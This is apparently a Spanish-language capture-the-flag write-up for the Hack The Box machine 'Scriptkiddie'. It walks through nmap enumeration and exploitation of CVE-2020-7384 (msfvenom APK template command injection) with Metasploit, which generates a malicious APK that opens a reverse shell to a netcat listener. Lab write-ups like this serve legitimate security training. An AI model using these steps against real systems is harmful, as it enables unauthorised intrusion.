En este writeup vamos a ver cómo resolver la máquina Scriptkiddie de la plataforma de Hack the Box.
Conexión
Conectar nuestra máquina de ataque a la VPN:
$ openvpn gorkamu-htb.ovpn
Enumeración
Si enviamos un paquete ICMP podemos ver que tipo de máquina es según su TTL:
$ ping -c 1 10.10.10.226
El TTL que tiene es de 63 por lo que nos enfrentamos ante una máquina Linux.
Vamos a hacer un escaneo de puertos:
$ nmap -p- --open -T5 -n 10.10.10.226 -oN nmap.txt
PORT STATE SERVICE
22/tcp open ssh
5000/tcp open upnp
Vemos que tiene el puerto 22 y 5000 abierto. Vamos a hacer otro escaneo de puertos mas completo.
$ sudo nmap -sS -sV -Pn -sC -v --min-rate 5000 -vvv -oN nmap_services.txt -p22,5000 10.10.10.226
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 3c:65:6b:c2:df:b9:9d:62:74:27:a7:b8:a9:d3:25:2c (RSA)
| ssh-rsa
| 256 b9:a1:78:5d:3c:1b:25:e0:3c:ef:67:8d:71:d3:a3:ec (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJA31QhiIbYQMUwn/n3+qcrLiiJpYIia8HdgtwkI8JkCDm2n+j6dB3u5I17IOPXE7n5iPiW9tPF3Nb0aXmVJmlo=
| 256 8b:cf:41:82:c6:ac:ef:91:80:37:7c:c9:45:11:e8:43 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOWjCdxetuUPIPnEGrowvR7qRAR7nuhUbfFraZFmbIr4
5000/tcp open http syn-ack ttl 63 Werkzeug httpd 0.16.1 (Python 3.8.5)
| http-methods:
|_ Supported Methods: HEAD OPTIONS POST GET
|_http-server-header: Werkzeug/0.16.1 Python/3.8.5
|_http-title: k1d'5 h4ck3r t00l5
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Encontramos lo siguiente:
- Puerto 22: OpenSSH 8.2p1
- Puerto 5000: servidor web Werkzeug/0.16.1
SI lanzamos un whatweb al puerto 5000 vemos lo siguiente:
$ whatweb 10.10.10.226:5000
http://10.10.10.226:5000 [200 OK] Country[RESERVED][ZZ], HTTPServer[Werkzeug/0.16.1 Python/3.8.5], IP[10.10.10.226], Python[3.8.5], Title[k1d'5 h4ck3r t00l5], Werkzeug[0.16.1]
Si entramos al navegador veremos una web como la siguiente:
Parece una web en la que poder ejecutar comandos como nmap, crear payloads o hacer búsquedas en searchsploit.
Si hacemos una búsqueda en la web de searchsploit vemos lo siguiente:
Se envía un parámetro “search” con el término de búsqueda y otro parámetro “action” con el comando a ejecutar.
Con la parte de nmap pasa lo mismo salvo que sólo varía “search” por “ip”.
Parece ser que es vulnerable a RCE así que vamos a interceptar las peticiones con burpsuite para cambiar el parámetro “action” on the fly.
En searchsploit existe una vulnerabilidad RCE para este sistema, vamos a echarle un ojo.
$ searchsploit Werkzeug
Werkzeug - 'Debug Shell' Command Execution -> multiple/remote/43905.py
python 43905.py <RHOST> <RPORT> <LHOST> <LPORT>
Aunque desde ya digo que este exploit no va a funcionar porque hace uso de un recurso /console para levantar un netcat. Recurso que este activo no tiene activo.
Lanzando un wfuzz tampoco obtenemos nada significativo
$ wfuzz -c --hc=404 -t 200 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://10.10.10.226:5000/FUZZ
En la web nos fijamos que existe una opción para generar payloads con el módulo msfvenom de metasploit.
Si hacemos una búsqueda por vulnerabilidades para msfvenom nos encontramos con la vulnerabilidad CVE-2020-7384
En ella explica que se puede generar un payload APK malicioso con los datos de lhost y lport para conectarnos por netcat y que metasploit se lo traga.
Mas info: https://github.com/justinsteven/advisories/blob/master/2020_metasploit_msfvenom_apk_template_cmdi.md
Explotación
Para generar el exploit hacemos lo siguiente:
$ msfconsole
$ use exploit/unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection
$ set lhost <IP>
$ set lport <PORT>
$ run
Esto nos generará un apk que será el que tengamos que subir a la web.
Levantamos un netcat
$ nc -nvlp 4444
Y en el momento de subirlo vemos que tenemos conexión y podemos tratar ya la TTY:
Ya con el usuario kid podemos dirigirnos a /home/kid y ahí tendremos la flag en user.txt